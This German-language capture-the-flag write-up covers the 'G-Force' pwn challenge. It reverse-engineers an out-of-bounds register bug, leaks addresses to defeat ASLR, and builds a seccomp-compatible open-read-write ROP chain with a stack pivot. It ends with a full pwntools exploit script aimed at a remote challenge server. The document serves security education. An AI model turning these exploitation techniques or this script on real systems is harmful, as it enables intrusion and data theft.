458 lines
17 KiB
Markdown
458 lines
17 KiB
Markdown
# Write-up: G-Force
|
|
|
|
**Kategorie:** Pwn
|
|
**Schwierigkeitsgrad:** Schwer
|
|
**Beschreibung:** Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung.
|
|
|
|
In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat.
|
|
|
|
---
|
|
|
|
## 1. Initiale Analyse
|
|
|
|
Wir beginnen mit der Untersuchung des bereitgestellten Binaries `g_forcevm`.
|
|
|
|
```bash
|
|
$ file g_forcevm
|
|
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
|
|
```
|
|
|
|
Es ist eine **Static PIE** Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem **stripped**, wir haben also keine Funktionsnamen.
|
|
|
|
Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt:
|
|
|
|
```text
|
|
--- G-FORCE VM v2.0 (Final) ---
|
|
4KB Secure Sandbox. Type 'help' for instructions.
|
|
> help
|
|
|
|
--- G-Force Instruction Set ---
|
|
General:
|
|
MOVI R, IMM : Load immediate value into Register R
|
|
MOVR R1, R2 : Copy value from R2 to R1
|
|
...
|
|
Meta Commands:
|
|
execute : Compile and run the current program buffer
|
|
info : Dump current CPU state
|
|
ram OFF LEN : Hex dump of RAM at offset
|
|
debug : Run debug logger
|
|
...
|
|
```
|
|
|
|
## 2. Reverse Engineering
|
|
|
|
Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet.
|
|
|
|
### Die VM-Struktur & das Stack-Layout
|
|
Bei der Analyse der `main`-Funktion (dekompiliert an Adresse `0x0010ba79`) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden.
|
|
|
|
```c
|
|
undefined8 FUN_0010ba79(void)
|
|
{
|
|
// ...
|
|
undefined1 local_20d8 [40];
|
|
undefined8 local_20b0;
|
|
undefined8 local_20a8;
|
|
code *local_20a0;
|
|
undefined1 local_2098 [8192];
|
|
// ...
|
|
|
|
// Initialisierung
|
|
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
|
|
|
|
// RAM-Allokation
|
|
// FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper).
|
|
// 0x1000 = 4096 Bytes (4KB)
|
|
local_20a8 = FUN_0012ac00(0x1000);
|
|
|
|
// Initialisierung des Debug-Funktionszeigers
|
|
local_20a0 = FUN_00109a22;
|
|
|
|
// Hauptschleife
|
|
while( true ) {
|
|
// ... Befehls-Parsing ...
|
|
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
|
|
if (iVar2 == 0) {
|
|
// VERWUNDBARER AUFRUF
|
|
(*local_20a0)(local_20a8);
|
|
}
|
|
else {
|
|
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
|
|
if (iVar2 == 0) {
|
|
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
|
|
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
|
|
// ...
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
Wir sehen, dass `local_20d8` ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP).
|
|
Wir sehen, dass `local_20a0` ein Funktionszeiger ist, der auf `0x00109a22` (den Standard-Logger) initialisiert wird.
|
|
Betrachten wir das Speicher-Layout auf dem Stack genauer:
|
|
* `local_20d8` (Register) beginnt am Offset `-0x20d8`.
|
|
* `local_20a8` (RAM-Zeiger) beginnt am Offset `-0x20a8`.
|
|
* `local_20a0` (Func Ptr) beginnt am Offset `-0x20a0`.
|
|
|
|
Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt `0x20d8 - 0x20a8 = 0x30`, was **48 Bytes** entspricht.
|
|
Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt `0x20d8 - 0x20a0 = 0x38`, was **56 Bytes** entspricht.
|
|
|
|
### Bestätigung des Layouts über `info`
|
|
Um zu bestätigen, dass `local_20d8` tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den `info`-Befehl verantwortlich ist (in Ghidra als `FUN_00109cbe` bezeichnet).
|
|
|
|
```c
|
|
void FUN_00109cbe(undefined8 *param_1)
|
|
{
|
|
FUN_0011d2b0("\n--- CPU STATE ---");
|
|
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
|
|
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
|
|
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
|
|
FUN_0011d2b0("-----------------");
|
|
return;
|
|
}
|
|
```
|
|
|
|
Diese Funktion nimmt einen Zeiger auf `local_20d8` als Argument entgegen.
|
|
* `param_1[0]` entspricht **Register A** (Offset 0).
|
|
* `param_1[1]` entspricht **Register B** (Offset 8).
|
|
* `param_1[2]` entspricht **Register C** (Offset 16).
|
|
* `param_1[3]` entspricht **Register D** (Offset 24).
|
|
* `param_1[5]` entspricht **SP** (Offset 40).
|
|
|
|
Die Tatsache, dass `info` diese Werte direkt aus dem Array `local_20d8` druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert.
|
|
|
|
### Rekonstruktion der CPU-Struktur
|
|
Basierend auf dem Speicher-Layout und der `info`-Funktion können wir die interne `CPU`-Struktur der VM auf dem Stack rekonstruieren:
|
|
|
|
```c
|
|
struct CPU_Stack_Layout {
|
|
uint64_t regs[4]; // Offset 0x00: Register A, B, C, D
|
|
uint64_t PC; // Offset 0x20: Program Counter / reserviert
|
|
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
|
|
uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48)
|
|
void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56)
|
|
};
|
|
```
|
|
|
|
Dies passt perfekt zu unserem rekonstruierten Layout!
|
|
|
|
### Die Schwachstelle: Out-of-Bounds Registerzugriff
|
|
Der Befehls-Parser wandelt Registernamen in Indizes um.
|
|
- `a` -> 0
|
|
- `b` -> 1
|
|
- `c` -> 2
|
|
- `d` -> 3
|
|
|
|
Jedoch erlaubt die Validierungsfunktion `FUN_001099bf` Buchstaben bis hin zu `h`!
|
|
|
|
```c
|
|
int FUN_001099bf(char *param_1)
|
|
{
|
|
// ...
|
|
if ((*param_1 < 'a') || ('h' < *param_1)) {
|
|
iVar1 = -1;
|
|
}
|
|
else {
|
|
iVar1 = *param_1 + -0x61;
|
|
}
|
|
// ...
|
|
return iVar1;
|
|
}
|
|
```
|
|
|
|
Wenn wir Register **`g`** (Index 6) verwenden:
|
|
`Adresse = local_20d8 + (6 * 8) = local_20d8 + 48` -> Dies greift auf den `ram`-Zeiger zu.
|
|
|
|
Wenn wir Register **`h`** (Index 7) verwenden:
|
|
`Adresse = local_20d8 + (7 * 8) = local_20d8 + 56` -> Dies greift auf den `debug_log`-Funktionszeiger zu!
|
|
|
|
Dies gibt uns zwei mächtige Primitive:
|
|
1. **Arbitrary Read (Leak):** `MOVR a, h` liest den Funktionszeiger in das Register `a`. Wir können ihn uns dann über `info` ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt `MOVR b, g` die Heap-Basis.
|
|
2. **Control Flow Hijack (Kontrollflussübernahme):** `MOVI h, <ADDR>` ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben.
|
|
|
|
### Der "Debug"-Befehl
|
|
Der `debug`-Befehl ruft die Funktion auf, die in `local_20a0` (Register `h`) gespeichert ist. Er übergibt den RAM-Zeiger (Register `g`) als erstes Argument (`rdi`).
|
|
|
|
```c
|
|
// Pseudo-Code für den debug-Befehl
|
|
if (cmd == "debug") {
|
|
// local_20a0 zeigt standardmäßig auf default_logger
|
|
// Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung.
|
|
// Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8).
|
|
(*local_20a0)(local_20a8);
|
|
}
|
|
```
|
|
|
|
## 3. Ausnutzungsstrategie: Der Schlachtplan
|
|
|
|
Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen.
|
|
|
|
### Entdeckung der Seccomp-Sandbox
|
|
Während der Analyse des Binaries stoßen wir auf eine Funktion `FUN_0010b918`, die früh in `main` aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist:
|
|
|
|
```c
|
|
void FUN_0010b918(void)
|
|
{
|
|
// ...
|
|
iVar1 = FUN_001636b0(0x26,1,0,0,0);
|
|
if (iVar1 != 0) {
|
|
FUN_001161b0("prctl(NO_NEW_PRIVS)");
|
|
FUN_00115450(1);
|
|
}
|
|
iVar1 = FUN_001636b0(0x16,2,local_68);
|
|
if (iVar1 != 0) {
|
|
FUN_001161b0("prctl(SECCOMP)");
|
|
FUN_00115450(1);
|
|
}
|
|
// ...
|
|
}
|
|
```
|
|
|
|
Die Funktion `FUN_001636b0` ist ein Wrapper um den `prctl`-Syscall.
|
|
1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: Dies wird mit `option = 38` (`0x26`) aufgerufen, was `PR_SET_NO_NEW_PRIVS` entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch `setuid`/`setgid`-Binaries deaktiviert werden.
|
|
2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: Dies wird mit `option = 22` (`0x16`) aufgerufen, was `PR_SET_SECCOMP` entspricht. Das zweite Argument `2` spezifiziert `SECCOMP_MODE_FILTER`. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf.
|
|
|
|
Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von `system("/bin/sh")` oder die Ausführung eines `execve`-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine **Open-Read-Write (ORW)** ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben.
|
|
|
|
### Schritt 1: Adressen leaken (ASLR umgehen)
|
|
Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet.
|
|
1. **Code-Adresse leaken:** Wir kopieren den Funktionszeiger in das Register `a` (`MOVR a, h`).
|
|
2. **Heap-Adresse leaken:** Wir kopieren den RAM-Zeiger in das Register `b` (`MOVR b, g`).
|
|
3. **Den Leak auslesen:** Wir führen diese Befehle aus und verwenden den VM-Befehl `info`, um `Reg A` und `Reg B` auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (`0x00109a22`) von `Reg A` abziehen, berechnen wir die **Basisadresse** des Binaries.
|
|
|
|
### Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren
|
|
Wir müssen den `syscall` aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet:
|
|
* `RAX` = System Call Nummer
|
|
* `RDI` = Argument 1
|
|
* `RSI` = Argument 2
|
|
* `RDX` = Argument 3
|
|
|
|
Hier ist, wie jeder Befehl in der Kette konstruiert ist:
|
|
|
|
#### 1. `open("./flag.txt", 0)`
|
|
* `pop rdi; ret` -> `ADDR_OF_STRING` (Zeiger auf "flag.txt\0")
|
|
* `pop rsi; ret` -> `0` (O_RDONLY)
|
|
* `pop rax; ret` -> `2` (SYS_open)
|
|
* `syscall; ret`
|
|
|
|
#### 2. `read(3, buffer, 0x100)`
|
|
* `pop rdi; ret` -> `3` (File Descriptor, normalerweise 3, da 0/1/2 Standard sind)
|
|
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM)
|
|
* `pop rdx; ret` -> `0x100` (Anzahl zu lesender Bytes)
|
|
* `pop rax; ret` -> `0` (SYS_read)
|
|
* `syscall; ret`
|
|
|
|
#### 3. `write(1, buffer, 0x100)`
|
|
* `pop rdi; ret` -> `1` (stdout)
|
|
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger darauf, wo wir das Flag eingelesen haben)
|
|
* `pop rdx; ret` -> `0x100` (Anzahl zu schreibender Bytes)
|
|
* `pop rax; ret` -> `1` (SYS_write)
|
|
* `syscall; ret`
|
|
|
|
**Im RAM platzieren:** Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls `SAVER` in den VM-RAM (beginnend bei Offset 0).
|
|
|
|
### Schritt 3: Den Pivot finden
|
|
Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den `RSP` (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen.
|
|
1. **Das Pivot-Gadget finden:** Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von `ROPgadget` auf dem Binary offenbart ein perfektes Gadget: `mov rsp, rdi; ret` beim Offset `0x000099b8`.
|
|
2. **Warum dieses Gadget?** Wenn der `debug`-Befehl aufgerufen wird, ist das erste Argument (`RDI`) ein Zeiger auf den VM-RAM (Register `g`).
|
|
3. **Der Auslöser (Trigger):** Wenn wir zu diesem Gadget springen, wird es `RDI` (den RAM-Zeiger) in `RSP` kopieren. Das anschließende `ret` popt dann die ersten 8 Bytes unseres RAMs in den `RIP` und startet so die ROP-Chain.
|
|
|
|
### Schritt 4: Den Funktionszeiger überschreiben
|
|
Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten.
|
|
1. **Ziel Register H:** Das Schreiben in das Register `h` überschreibt den Funktionszeiger `debug_log`.
|
|
2. **Die Payload:** Wir verwenden `MOVI h, <ADDR_OF_PIVOT>`, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen.
|
|
|
|
### Schritt 5: Die Chain auslösen
|
|
Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers.
|
|
1. **Der Trigger-Befehl:** Wir tippen `execute`, um unsere Writer-Befehle zu kompilieren, und führen dann `debug` aus.
|
|
2. **Ausführungsfluss:**
|
|
* Die `main`-Schleife ruft den Funktionszeiger auf, der in Register `h` steht.
|
|
* Da wir ihn überschrieben haben, springt er zu `mov rsp, rdi; ret`.
|
|
* `RDI` enthält den RAM-Zeiger, sodass `RSP` zum RAM-Zeiger wird.
|
|
* Die CPU führt `ret` aus und popt das erste Gadget aus unserer ROP-Chain im RAM.
|
|
* Die Kette führt `open`, `read` und `write` aus und gibt das Flag auf unserer Konsole aus!
|
|
|
|
## 4. Das Lösungs-Skript
|
|
|
|
Hier ist das vollständige Skript `solve.py`. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload.
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
from pwn import *
|
|
|
|
# =============================================================================
|
|
# KONFIGURATION
|
|
# =============================================================================
|
|
OFFSET_DEFAULT_LOG = 0x00109a22
|
|
HOST = '87.106.77.47'
|
|
PORT = 1378
|
|
|
|
# Kontext setzen (wird noch zum packen/entpacken benötigt)
|
|
exe = './g_forcevm'
|
|
elf = ELF(exe, checksec=False)
|
|
context.binary = elf
|
|
context.log_level = 'info'
|
|
|
|
def start():
|
|
# [ÄNDERUNG] remote() anstelle von process() verwenden
|
|
return remote(HOST, PORT)
|
|
|
|
p = start()
|
|
|
|
def send_cmd(cmd):
|
|
p.sendline(cmd.encode())
|
|
|
|
def wait_prompt():
|
|
return p.recvuntil(b"> ")
|
|
|
|
log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---")
|
|
wait_prompt()
|
|
|
|
# -----------------------------------------------------------------------------
|
|
# SCHRITT 1: LIVE LEAK
|
|
# -----------------------------------------------------------------------------
|
|
log.info("SCHRITT 1: Adressen leaken...")
|
|
send_cmd("movr a, h")
|
|
wait_prompt()
|
|
send_cmd("movr b, g")
|
|
wait_prompt()
|
|
send_cmd("saver a, 0")
|
|
wait_prompt()
|
|
send_cmd("saver b, 8")
|
|
wait_prompt()
|
|
send_cmd("execute")
|
|
wait_prompt()
|
|
|
|
# Leaks auslesen
|
|
send_cmd("ram 0 16")
|
|
p.recvuntil(b"0000: ")
|
|
dump_line = p.recvline().decode().strip().split()
|
|
wait_prompt()
|
|
bytes_all = [int(b, 16) for b in dump_line]
|
|
|
|
leak_logger = 0
|
|
for i in range(8):
|
|
leak_logger += bytes_all[i] << (i*8)
|
|
|
|
leak_heap = 0
|
|
for i in range(8):
|
|
leak_heap += bytes_all[8+i] << (i*8)
|
|
|
|
binary_base = leak_logger - OFFSET_DEFAULT_LOG
|
|
addr_farm = leak_logger - 0x75
|
|
|
|
# Gadgets
|
|
addr_pop_rdi = addr_farm + 0
|
|
addr_pop_rsi = addr_farm + 2
|
|
addr_pop_rdx = addr_farm + 4
|
|
addr_pop_rax = addr_farm + 6
|
|
addr_syscall = addr_farm + 8
|
|
addr_pivot = addr_farm + 11
|
|
|
|
log.success(f" Geleakter Logger: {hex(leak_logger)}")
|
|
log.success(f" Geleakter Heap: {hex(leak_heap)}")
|
|
log.success(f" Basisadresse: {hex(binary_base)}")
|
|
log.success(f" Addr Farm: {hex(addr_farm)}")
|
|
|
|
# -----------------------------------------------------------------------------
|
|
# SCHRITT 2: CHAIN KONSTRUIEREN
|
|
# -----------------------------------------------------------------------------
|
|
log.info("SCHRITT 2: ROP Chain konstruieren...")
|
|
|
|
chain = [
|
|
# --- OPEN("./flag.txt", 0, 0) ---
|
|
addr_pop_rdi,
|
|
leak_heap + 0x200, # Zeiger auf "./flag.txt"
|
|
addr_pop_rsi,
|
|
0,
|
|
addr_pop_rdx,
|
|
0,
|
|
addr_pop_rax,
|
|
2,
|
|
addr_syscall,
|
|
|
|
# --- READ(3, buffer, 100) ---
|
|
addr_pop_rdi,
|
|
3,
|
|
addr_pop_rsi,
|
|
leak_heap + 0x300, # Zeiger auf Buffer
|
|
addr_pop_rdx,
|
|
100,
|
|
addr_pop_rax,
|
|
0,
|
|
addr_syscall,
|
|
|
|
# --- WRITE(1, buffer, 64) ---
|
|
addr_pop_rdi,
|
|
1,
|
|
addr_pop_rsi,
|
|
leak_heap + 0x300,
|
|
addr_pop_rdx,
|
|
35,
|
|
addr_pop_rax,
|
|
1,
|
|
addr_syscall,
|
|
|
|
# --- EXIT(0) ---
|
|
addr_pop_rdi,
|
|
0,
|
|
addr_pop_rax,
|
|
60,
|
|
addr_syscall,
|
|
]
|
|
|
|
# Chain senden
|
|
i = 0
|
|
while i < len(chain):
|
|
send_cmd(f"movi a,{hex(chain[i])}")
|
|
wait_prompt()
|
|
send_cmd(f"saver a,{hex(i*8)}")
|
|
wait_prompt()
|
|
i = i+1
|
|
|
|
# String "./flag.txt" bei Offset 0x200 senden
|
|
flag_str = b'./flag.txt\0'
|
|
for i in range(0, len(flag_str), 8):
|
|
chunk = flag_str[i:i+8].ljust(8, b'\0')
|
|
val = u64(chunk)
|
|
send_cmd(f"movi a, {hex(val)}")
|
|
wait_prompt()
|
|
send_cmd(f"saver a,{0x200 + i}")
|
|
wait_prompt()
|
|
|
|
# Platzierung der Chain ausführen
|
|
send_cmd("execute")
|
|
p.recvuntil(b"> ")
|
|
send_cmd("ram 0x00 0x30")
|
|
p.recvuntil(b"> ")
|
|
log.success(f" ROP Chain platziert")
|
|
|
|
# -----------------------------------------------------------------------------
|
|
# SCHRITT 3: ARM & TRIGGER
|
|
# -----------------------------------------------------------------------------
|
|
log.info("SCHRITT 3: Scharfschalten...")
|
|
send_cmd(f"movi h,{hex(addr_pivot)}")
|
|
wait_prompt()
|
|
send_cmd(f"execute")
|
|
p.recvuntil(b"> ")
|
|
log.success(f" Scharfgeschaltet")
|
|
|
|
log.info("Wird ausgeführt...")
|
|
send_cmd(f"debug")
|
|
|
|
try:
|
|
# recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt
|
|
output = p.recvall(timeout=3)
|
|
|
|
print("\n" + "="*50)
|
|
print("FINALE AUSGABE:")
|
|
print(output.decode(errors='ignore'))
|
|
print("="*50)
|
|
|
|
except Exception as e:
|
|
log.error(f"Fehler beim Empfangen des Flags: {e}")
|
|
|
|
p.close()
|
|
```
|